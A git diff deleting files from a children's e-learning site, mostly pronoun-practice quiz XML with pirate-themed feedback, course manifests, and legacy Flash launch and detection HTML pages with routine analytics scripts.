-          <option id = "1" isCorrect = ""><![CDATA[him]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[my]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[mine]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[His room was next to _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[her]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[him]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[mine]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Give _____________ a new ball for his birthday.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[him]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[she]]></option>
-        </options>
-      </question>
-      <question id = "6">
-        <qn><![CDATA[_____________ said that school was fun today.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[He]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Him]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Her]]></option>
-        </options>
-      </question>
-      <question id = "7">
-        <qn><![CDATA[_____________ talked during math class today.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[Him]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Her]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[He]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's wonderful! We have collected all the treasure from Choco Island.]]></correct>
-      <correct id = "2"><![CDATA[Aye aye mate! We have collected most of the treasure from Choco Treat Island.]]></correct>
-      <correct id = "3"><![CDATA[Not bad! We have collected some treasure from Choco Treat Island. Let's hope to do better in the other islands.]]></correct>
-      <wrong id = "4"><![CDATA[We will have to do better next time, mate! The Captain’s not going to be happy with this.]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/English/L0002/xml/activity02_02.xml b/Explore/elr/English/L0002/xml/activity02_02.xml
deleted file mode 100755
index 52e1c0a..0000000
--- a/Explore/elr/English/L0002/xml/activity02_02.xml
+++ /dev/null
@@ -1,69 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[_____________ am not allowed to play today.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[She]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[I]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Me]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[You are a good friend to _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[she]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[me]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[She named _____________ horse Scout.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[she]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[him]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[her]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[I need _____________ help.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[him]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[your]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[my]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Mary grabbed _____________ book.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[her]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[she]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[you]]></option>
-        </options>
-      </question>
-      <question id = "6">
-        <qn><![CDATA[_____________ is a girl.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[He]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[You]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[She]]></option>
-        </options>
-      </question>
-      <question id = "7">
-        <qn><![CDATA[_____________ hope that candy is for me.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[I]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[Me]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[Him]]></option>
-        </options>
-      </question>
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[That's wonderful! We have collected all the treasure from Gizmo Land.]]></correct>
-      <correct id = "2"><![CDATA[Ahoy mate! We have collected most of the treasure from Gizmo Land.]]></correct>
-      <correct id = "3"><![CDATA[Not bad! We still have the Isles of Gold to visit. Let’s do better there!]]></correct>
-      <wrong id = "4"><![CDATA[We have only one island left. Chin up, mate!]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/English/L0002/xml/activity02_03.xml b/Explore/elr/English/L0002/xml/activity02_03.xml
deleted file mode 100755
index e54812b..0000000
--- a/Explore/elr/English/L0002/xml/activity02_03.xml
+++ /dev/null
@@ -1,77 +0,0 @@
-<activity id = "3">
-  <description><![CDATA[<b></b>]]></description>
-  <set id = "1">
-    <questions>
-      <question id = "1">
-        <qn><![CDATA[This is _____________ book.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[hers]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[his]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[him]]></option>
-        </options>
-      </question>
-      <question id = "2">
-        <qn><![CDATA[I'll put the book in _____________ backpack.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[mine]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[him]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[your]]></option>
-        </options>
-      </question>
-      <question id = "3">
-        <qn><![CDATA[_____________ need to work.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[You]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[He]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[She]]></option>
-        </options>
-      </question>
-      <question id = "4">
-        <qn><![CDATA[The gift is for _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[you]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[your]]></option>
-        </options>
-      </question>
-      <question id = "5">
-        <qn><![CDATA[Thanks for picking _____________ up, Dad.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "2" isCorrect = "true"><![CDATA[me]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[she]]></option>
-        </options>
-      </question>
-      <question id = "6">
-        <qn><![CDATA[Open the door. It's just _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[I]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[she]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[me]]></option>
-        </options>
-      </question>
-      <question id = "7">
-        <qn><![CDATA[Sarah wanted Lisa to follow _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[I]]></option>
-          <option id = "3" isCorrect = "true"><![CDATA[her]]></option>
-        </options>
-      </question>
-      <!--<question id = "8">
-        <qn><![CDATA[The man ran away. Try to catch _____________.]]></qn>
-        <options>
-          <option id = "1" isCorrect = "true"><![CDATA[him]]></option>
-          <option id = "2" isCorrect = ""><![CDATA[he]]></option>
-          <option id = "3" isCorrect = ""><![CDATA[her]]></option>
-        </options>
-      </question>-->
-    </questions>
-    <feedback>
-      <correct id = "1"><![CDATA[You did it! The treasure chest is full. We're rich! Thanks for keeping me out of trouble with the Captain.]]></correct>
-      <correct id = "2"><![CDATA[That's good! We have collected most of the treasure from the golden island. I couldn't have done it without you, mate! Keep up the good work.]]></correct>
-      <correct id = "3"><![CDATA[Not bad at all! We have collected some treasure from the golden island. I couldn't have done it without you, mate! Keep up the good work.]]></correct>
-      <wrong id = "4"><![CDATA[Worry not, you can always take this course again to collect more treasures.]]></wrong>
-    </feedback>
-  </set>
-</activity>
diff --git a/Explore/elr/English/L0002/xml/course.xml b/Explore/elr/English/L0002/xml/course.xml
deleted file mode 100755
index 1604556..0000000
--- a/Explore/elr/English/L0002/xml/course.xml
+++ /dev/null
@@ -1,17 +0,0 @@
-<course id="1">
-	<screen id = "01" type = "" swf = "intro_animation" />
-	<screen id = "02" type = "" swf = "Pirate_001_001" />
-	<screen id = "03" type = "" swf = "Pirate_002_001" />
-	<screen id = "04" type = "" swf = "Pirate_002_002" />
-	<screen id = "05" type = "" swf = "Pirate_002_003" />
-	<screen id = "06" type = "" swf = "Pirate_003_001" />
-	<screen id = "07" type = "cyu" swf = "Pirate_003_002" />
-	<screen id = "08" type = "" swf = "Pirate_004_001" />
-	<screen id = "09" type = "" swf = "Pirate_005_001_intro" />
-	<screen id = "10" type = "cyu" swf = "Pirate_005_001" />
-	<screen id = "11" type = "" swf = "Pirate_006_001_intro" />
-	<screen id = "12" type = "cyu" swf = "Pirate_006_001" />
-	<screen id = "13" type = "" swf = "Pirate_007_001_intro" />
-	<screen id = "14" type = "cyu" swf = "Pirate_007_001" />
-	<screen id = "15" type = "cyu" swf = "Pirate_008_001" />
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0003/ball_down.jpg b/Explore/elr/English/L0003/ball_down.jpg
deleted file mode 100755
index 24e439f..0000000
--- a/Explore/elr/English/L0003/ball_down.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/ball_up.jpg b/Explore/elr/English/L0003/ball_up.jpg
deleted file mode 100755
index d6ef7f1..0000000
--- a/Explore/elr/English/L0003/ball_up.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/bottom.jpg b/Explore/elr/English/L0003/bottom.jpg
deleted file mode 100755
index 1574a8d..0000000
--- a/Explore/elr/English/L0003/bottom.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/flash.html b/Explore/elr/English/L0003/flash.html
deleted file mode 100755
index 38469ee..0000000
--- a/Explore/elr/English/L0003/flash.html
+++ /dev/null
@@ -1,16 +0,0 @@
-<html>
-<head>
-<title>Language Arts</title>
-</head>
-
-
-<body bgcolor="#ffffff" alink="#ffffff" vlink="#ffffff" link="#ffffff" topmargin="0" leftmargin="0">
-<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="800" height="600">
-  <param name="movie" value="scene_3.swf">
-  <param name="quality" value="high">
-  <embed src="scene_3.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="800" height="600"></embed>
-<param name="MENU" value="false">
-</object>
-
-</body>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0003/index.html b/Explore/elr/English/L0003/index.html
deleted file mode 100755
index 9348cb9..0000000
--- a/Explore/elr/English/L0003/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<title>E-Learning For Kids</title>
-
-<SCRIPT LANGUAGE="JavaScript">
-
-var win = null;
-function NewWindow(mypage,myname,w,h,scroll){
-LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
-TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
-settings =
-'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars=0'+scroll+',resizable=0'
-win = window.open(mypage,myname,settings)
-}
-
-</SCRIPT>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-<script language="JavaScript" type="text/JavaScript">
-<!--
-function MM_preloadImages() { //v3.0
-  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
-    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
-    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
-}
-
-function MM_swapImgRestore() { //v3.0
-  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
-}
-
-function MM_findObj(n, d) { //v4.01
-  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
-    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
-  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
-  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
-  if(!x && d.getElementById) x=d.getElementById(n); return x;
-}
-
-function MM_swapImage() { //v3.0
-  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
-   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
-}
-//-->
-</script>
-<style type="text/css">
-<!--
-body {
-	background-color: #FFFFFF;
-}
--->
-</style>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285048; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="f8b80a0b"; 
-</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285048/0/f8b80a0b/0/" alt="web site analytic" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-</head>
-
-<body onLoad="MM_preloadImages('ball_down.jpg')">
-<table width="100%" height="75%" border="0">
-<tr>
-<td>
-<center>
-
-<table width="465" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <th colspan="2" scope="col"><img src="lvl7.jpg"><br><br>
-<br><img src="top.jpg" width="483" height="161"></th>
-  </tr>
-  <tr>
-    <td bgcolor="#F8F0C9"><div align="center"><img src="middle_left.jpg" width="222" height="57"><a href="flash.html" onclick="NewWindow(this.href,'name','800','600','yes');return false" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('crystal_ball','','ball_down.jpg',1)"><img src="ball_up.jpg" name="crystal_ball" width="48" height="57" border="0"></a></div></td>
-    <td bgcolor="#FAF2CB"><img src="middle_right.jpg" width="212" height="57"></td>
-  </tr>
-  <tr>
-    <td colspan="2"><img src="bottom.jpg" width="482" height="247" border="0" usemap="#Map"></td>
-  </tr>
-</table>
-</td>
-</tr>
-</table>
-<map name="Map">
-  <area shape="rect" coords="35,179,237,248" href="http://www.rodarim.com" target="_blank">
-  <area shape="rect" coords="255,179,456,247" href="http://www.skillsoft.com" target="_blank">
-</map>
-</body>
-</html>
diff --git a/Explore/elr/English/L0003/launch.gif b/Explore/elr/English/L0003/launch.gif
deleted file mode 100755
index 249d872..0000000
--- a/Explore/elr/English/L0003/launch.gif
+++ /dev/null
diff --git a/Explore/elr/English/L0003/lvl7.jpg b/Explore/elr/English/L0003/lvl7.jpg
deleted file mode 100755
index d42340c..0000000
--- a/Explore/elr/English/L0003/lvl7.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/middle_left.jpg b/Explore/elr/English/L0003/middle_left.jpg
deleted file mode 100755
index e38782f..0000000
--- a/Explore/elr/English/L0003/middle_left.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/middle_right.jpg b/Explore/elr/English/L0003/middle_right.jpg
deleted file mode 100755
index a048269..0000000
--- a/Explore/elr/English/L0003/middle_right.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_10.swf b/Explore/elr/English/L0003/question_10.swf
deleted file mode 100755
index 2a633f7..0000000
--- a/Explore/elr/English/L0003/question_10.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_11.swf b/Explore/elr/English/L0003/question_11.swf
deleted file mode 100755
index 394bae7..0000000
--- a/Explore/elr/English/L0003/question_11.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_12.swf b/Explore/elr/English/L0003/question_12.swf
deleted file mode 100755
index e4579af..0000000
--- a/Explore/elr/English/L0003/question_12.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_13.swf b/Explore/elr/English/L0003/question_13.swf
deleted file mode 100755
index cd29767..0000000
--- a/Explore/elr/English/L0003/question_13.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_8.swf b/Explore/elr/English/L0003/question_8.swf
deleted file mode 100755
index f701527..0000000
--- a/Explore/elr/English/L0003/question_8.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/question_9.swf b/Explore/elr/English/L0003/question_9.swf
deleted file mode 100755
index 69118b8..0000000
--- a/Explore/elr/English/L0003/question_9.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/scene_3.swf b/Explore/elr/English/L0003/scene_3.swf
deleted file mode 100755
index 851cc75..0000000
--- a/Explore/elr/English/L0003/scene_3.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/scene_4.swf b/Explore/elr/English/L0003/scene_4.swf
deleted file mode 100755
index cfa0246..0000000
--- a/Explore/elr/English/L0003/scene_4.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/scene_prompt.swf b/Explore/elr/English/L0003/scene_prompt.swf
deleted file mode 100755
index 6cbe5d8..0000000
--- a/Explore/elr/English/L0003/scene_prompt.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/summary_2.swf b/Explore/elr/English/L0003/summary_2.swf
deleted file mode 100755
index 35012cc..0000000
--- a/Explore/elr/English/L0003/summary_2.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0003/top.jpg b/Explore/elr/English/L0003/top.jpg
deleted file mode 100755
index e9ca50c..0000000
--- a/Explore/elr/English/L0003/top.jpg
+++ /dev/null
diff --git a/Explore/elr/English/L0004/course.xml b/Explore/elr/English/L0004/course.xml
deleted file mode 100755
index 9cb97b4..0000000
--- a/Explore/elr/English/L0004/course.xml
+++ /dev/null
@@ -1,184 +0,0 @@
-<Modules>
-<Transcript>Yes</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>Yes</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Word Recognition</ModuleName>
-	<Lessons>
-		<Lesson>
-			<LessonName>Intoduction</LessonName>
-			<Pages>
-				<Page>
-					<PageName>media/intro/intro.swf</PageName>
-					<PageTitleName>Intro</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				
-			
-				
-			</Pages>
-		</Lesson>
-		<Lesson>
-			<LessonName>Getting started</LessonName>
-			<Pages>
-					<Page>
-					<PageName>media/lesson_00/A0005.swf</PageName>
-					<PageTitleName>nn</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-				
-				<Page><!--13-->
-					<PageName>media/lesson_00/A0010.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-					<Page><!--13-->
-					<PageName>media/lesson_00/A0015.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-
-					<Page><!--13-->
-					<PageName>media/lesson_00/A0020.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/A0025.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/A0030.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-
-				<Page><!--13-->
-					<PageName>media/lesson_00/A0035.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-					
-
-	<Page><!--13-->
-					<PageName>media/lesson_00/A0040.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-
-
-				<!---added-->
-				<Page><!--14-->
-					<PageName>media/lesson_00/A0045.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-					<Page><!--15-->
-					<PageName>media/lesson_00/A0050.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-					<Page><!--16-->
-					<PageName>media/lesson_00/A0055.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page><!--17-->
-					<PageName>media/lesson_00/A0060.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>0,1</ClickNext>
-				</Page>
-		</Pages>
-		</Lesson>	
-		
-	</Lessons>
-</Module>
-</Modules>
-	
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/efk_shell.swf b/Explore/elr/English/L0004/efk_shell.swf
deleted file mode 100755
index e11c26a..0000000
--- a/Explore/elr/English/L0004/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/English/L0004/html/fpi_blank.html b/Explore/elr/English/L0004/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/English/L0004/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/html/fpi_detection.html b/Explore/elr/English/L0004/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/English/L0004/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/English/L0004/html/fpi_flash.html b/Explore/elr/English/L0004/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/English/L0004/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/English/L0004/html/fpi_no_flash.html b/Explore/elr/English/L0004/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/English/L0004/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
